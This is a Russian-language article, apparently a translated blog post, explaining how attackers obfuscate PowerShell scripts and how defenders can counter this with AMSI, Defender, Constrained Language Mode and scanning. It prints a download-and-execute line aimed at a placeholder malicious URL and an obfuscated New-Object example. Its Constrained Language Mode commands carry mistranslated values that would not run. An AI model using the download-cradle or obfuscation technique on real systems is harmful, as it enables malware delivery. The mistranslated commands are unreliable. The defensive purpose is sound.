Обфускация сценариев PowerShell: боритесь с этой растущей угрозой
В последние годы PowerShell быстро стал популярным инструментом для хакеров и авторов вредоносных программ. Хотя существует множество других инструментов, которые можно использовать для атаки на систему, у PowerShell есть одно явное преимущество перед большинством альтернатив для тех, кто имеет плохие намерения. Поскольку PowerShell является родным компонентом операционной системы Windows, вероятность обнаружения вредоносного сценария PowerShell меньше, чем у некоторых других инструментов, используемых злоумышленниками. Хотя PowerShell может быть эффективным инструментом написания сценариев для хакеров, с его использованием связана как минимум одна большая проблема. Сценарии PowerShell включают команды, которые отображаются в виде обычного текста. Это означает, что предполагаемая жертва может легко просмотреть содержимое сценария перед его запуском. В конце концов, большинство людей, вероятно, не будут запускать скрипт, содержащий такую команду, как:
Invoke-Expression (New-Object Net.WebClient).DownloadString(http://<malicious URL.com>/evil-trojan)
В этом случае те, кто использует PowerShell в злонамеренных целях, все чаще начинают использовать методы запутывания скриптов как способ скрыть команды скрипта.
На первый взгляд идея использования обфускации скриптов для сокрытия вредоносных команд может показаться очень сложной, но основная идея, лежащая в основе этих методов, на самом деле довольно проста. Цель запутывания сценариев PowerShell состоит не в том, чтобы каким-то образом сделать вредоносные команды невидимыми, чтобы они могли избежать обнаружения, а в том, чтобы написать команды таким образом, чтобы их было очень трудно понять.
Простой пример
Позвольте мне привести вам действительно простой пример. Я уверен, вы, наверное, знаете, что командлеты PowerShell состоят из комбинаций глагол-существительное. Команда, о которой я упоминал ранее, например, использует глагол Invoke с существительным Expression. Однако если вы хотите запустить командлет Invoke-Expression, на самом деле вам не нужно вводить Invoke-Expression. Microsoft предоставляет псевдонимы для многих собственных командлетов PowerShell. Псевдонимы — это просто ярлыки командлетов. Псевдоним для Invoke-Expression, например, iex.
Сценарий PowerShell, который заменяет командлеты длинной формы псевдонимами, может считаться слегка запутанным, поскольку псевдонимы затрудняют понимание сценария. Если кто-то не знаком с используемыми псевдонимами, ему придется искать эти псевдонимы, чтобы выяснить, что делает сценарий.
Конечно, использование псевдонимов не поможет. Даже если ранее упомянутая команда была переписана для использования псевдонима, все равно было бы легко сказать, что команда предназначена для загрузки вредоносного файла. Таким образом, большинство методов запутывания PowerShell работают с использованием методов манипулирования строками. Идея состоит в том, чтобы внедрить команду в строку, а затем использовать различные методы манипуляции, чтобы сделать строку почти нечитаемой. Командлет New-Object, например, можно было бы переписать так: &('{1}{0}'-f'bject',New-O'}.
Тому, кто плохо разбирается в PowerShell, вероятно, будет трудно понять, что именно означает эта конкретная строка. Имейте в виду, что это только один пример техники запутывания. Есть много других способов запутать командлеты PowerShell. Фактически, на GitHub есть инструмент под названием Invoke-Obfuscation. Работа инструмента состоит в том, чтобы взять текстовую строку и показать вам различные способы ее запутывания.
Борьба с запутыванием сценариев PowerShell
Итак, теперь, когда я объяснил, что такое обфускация скриптов и почему она используется, более важный вопрос заключается в том, как вы можете защититься от этих методов? Наиболее очевидный ответ на этот вопрос заключается в том, что вам следует избегать запуска любого сценария, надежность которого не доказана. Однако есть и другие вещи, которые вы также можете сделать.
Прежде всего, не забудьте оставить Защитник Windows включенным. В Windows 10 есть встроенная функция, называемая интерфейсом сканирования Windows Antimalware или AMSI. Этот интерфейс интегрирован в PowerShell, а также в Windows Script Host, JavaScript, VMScript, контроль учетных записей и макросы Office VBA. Это позволяет Windows обнаруживать вредоносный код, обнаруженный в скрипте PowerShell.
Чтобы показать вам, как это работает, я вставил в Блокнот потенциально вредоносный код PowerShell. Как только я щелкнул значок Сохранить, тут же получил предупреждения Защитника Windows, как показано на рисунке ниже.
Вполне возможно, что сильно запутанный код может проскользнуть мимо механизма защиты от вредоносных программ, но в моих собственных тестах я обнаружил, что он очень эффективен при обнаружении вредоносного кода.
Еще одна вещь, которую вы можете сделать, это включить ограниченный языковой режим. Основная идея использования ограниченного языкового режима PowerShell заключается в том, что вы можете сделать так, чтобы PowerShell мог запускать все обычные командлеты, но не мог использовать инфраструктуру.NET или внешние API. Другими словами, использование ограниченного языкового режима может сильно ограничить эффективность вредоносного скрипта.
Недавно я написал полноценную статью о том, как использовать ограниченный языковой режим PowerShell, но я продолжу и покажу вам, как его включить. Вы можете включить ограниченный языковой режим, введя эту команду:
$ExecutionContext.SessionState.LanguageMode = «Ограниченный язык»
Вы можете отключить языковой режим с ограничениями с помощью этой команды:
$ExecutionContext.SessionState.LanguageMode = «Полный язык»
Не всегда легко поймать
Хорошее эмпирическое правило заключается в том, что если сценарий PowerShell включает сильно запутанные команды, то такой сценарий следует считать вредоносным. Большинство людей, разрабатывающих законный код, не сильно запутывают свои команды. Обфускация сценария PowerShell используется только тогда, когда автору есть что скрывать.
К сожалению, принятие решения о том, запускать сценарий или нет, не всегда зависит от беглого взгляда на код сценария. Я лично видел сценарии PowerShell, содержащие тысячи строк кода. Было бы совершенно непрактично тщательно проверять каждую строчку в таком сценарии.
Тем не менее, есть кое-что, что вы можете сделать. Если вам случится загрузить множество сценариев PowerShell из Интернета, возможно, вам стоит потратить время на создание собственного сценария, который сканирует каждую строку загруженного сценария в поисках запутывания. Как отмечалось ранее, обфускация проявляется во многих различных формах, но такой скрипт может обнаруживать потенциальное обфускацию, ища чрезмерное количество квадратных скобок, апострофов или кавычек в строке кода.